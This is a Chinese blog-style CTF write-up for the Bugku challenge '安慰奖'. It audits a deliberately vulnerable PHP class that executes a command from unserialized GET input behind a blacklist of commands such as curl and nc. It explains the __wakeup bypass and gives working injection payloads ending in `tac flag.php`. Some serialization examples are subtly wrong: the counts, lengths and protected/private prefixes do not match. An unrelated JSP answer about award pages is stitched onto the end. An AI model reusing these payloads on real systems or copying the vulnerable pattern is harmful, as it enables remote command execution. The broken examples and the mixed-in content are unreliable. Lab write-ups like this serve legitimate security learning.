Bugku_安慰奖

打开页面,发现是空白的,查看源码,发现一段base64加密的密文,

解密后是backups单词,这个意思是备份,可以猜测是跟index.php.bak文件有关,下载下来备份文件后,获得后台代码,开始代码审计。

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

通过这里的代码,可以知道,这里考的是php序列化,和反序列化的一些知识,还有linux命令的考察。

 序列化与反序列化

序列化和反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化的常见魔术方法

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用

 

看一串字符串

O:5:"Bugku":2{s:4:"flag";s:13:"flag{smallWhite}";s:4:"num";i:7;}

O:代表对象

5:表示对象类名占5个字符

”Bugku“:表示类名

3:表示类中有3个属性

s:字符串

4:属性名占4个字符

"flag":属性名

"flag{smallWhite}":这个是flag属性的值。

后面的类似

 访问控制修饰符

public(公有) 

protected(受保护) 

private(私有的) 

protected属性被序列化的时候属性值会变成:%00*%00属性名 

private属性被序列化的时候属性值会变成:%00类名%00属性名

 例子

class bugku{

    protected $username='admin';
    private $password='admin123';

}
序列化

O:5:"bugku":2{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"}

这里的结果可以看出属性权限对于序列化结果的影响

 绕过__wakeup()函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。


O:5:"bugku":3{s:12:"%00bugku%00admin";s:5:"admin";s:11:"%00*%00password";s:8:"admin123"}

通过上面序列化知识的了解,我们就可以开始解题了。

这里可以看到我们应该是利用code变量的get传参,而我们传入的东西,是序列化的结果,来绕过反序列化这个步骤。

这里可以看到我们应该是利用code变量的get传参,而我们传入的东西,是序列化的结果,来绕过反序列化这个步骤。

接下来就是wakeup的绕过,因为,如果不绕过wakeup,我们无法对username传入想要的参数,,绕过wakeup后,只要传入的username和cmd的值正确,在die()的时候就会调用__destruct()函数,来执行cmd命令。

 

<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }//绕过wakeup,不然无论你给username传什么值,都会被wakeup弄成guest。

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))//这里很多命令都被过滤了,但是tac没有被过滤,所以我们可以利用tac来查看
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);//如果传入的username值为admin,那么后台就会执行cmd传入的命令。
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

根据分析可以构造payload:

code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
先用ls看看,flag是不是就在当前目录下。

发现flag就在当前目录,有很多命令被过滤了,经过查询对照linux查看文件命令,发现tac这个命令还没有被过滤。

code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac%20flag.php";}

因此使用tac查看flag.php就可以查看到flag。

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
要实现根据得分显示不同项的功能,您可以使用JSP的`<jsp:forward>`标签来实现页面的跳转。以下是一个示例: 首先,在您的项目中创建两个JSP页面,一个是“项页面”(award.jsp),另一个是“安慰页面”(consolation.jsp)。 在award.jsp页面中,您可以编写显示获信息的代码,例如: ```jsp <h1>恭喜您获得一等!</h1> <p>您的得分是:${score}</p> ``` 在consolation.jsp页面中,您可以编写显示安慰信息的代码,例如: ```jsp <h1>很遗憾,您未获得任何项。</h1> <p>您的得分是:${score}</p> ``` 接下来,在您的主要JSP页面中,根据得分使用`<jsp:forward>`标签进行页面跳转。例如: ```jsp <% int score = 65; // 假设得分为65,您可以根据实际情况设置得分 %> <% if (score >= 60) { %> <jsp:forward page="award.jsp"> <jsp:param name="score" value="<%= score %>" /> </jsp:forward> <% } else { %> <jsp:forward page="consolation.jsp"> <jsp:param name="score" value="<%= score %>" /> </jsp:forward> <% } %> ``` 上述代码首先定义了一个假设的得分变量`score`,然后使用条件判断,如果得分大于等于60,就通过`<jsp:forward>`标签跳转到award.jsp页面,并传递得分参数。如果得分小于60,就跳转到consolation.jsp页面,并传递得分参数。 在award.jsp和consolation.jsp页面中,通过`${score}`表达式获取并显示得分参数的值。 请根据您的需求和实际情况修改代码中的得分值和页面内容。 希望这可以帮助到您!如果您有任何进一步的问题,请随时提问。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值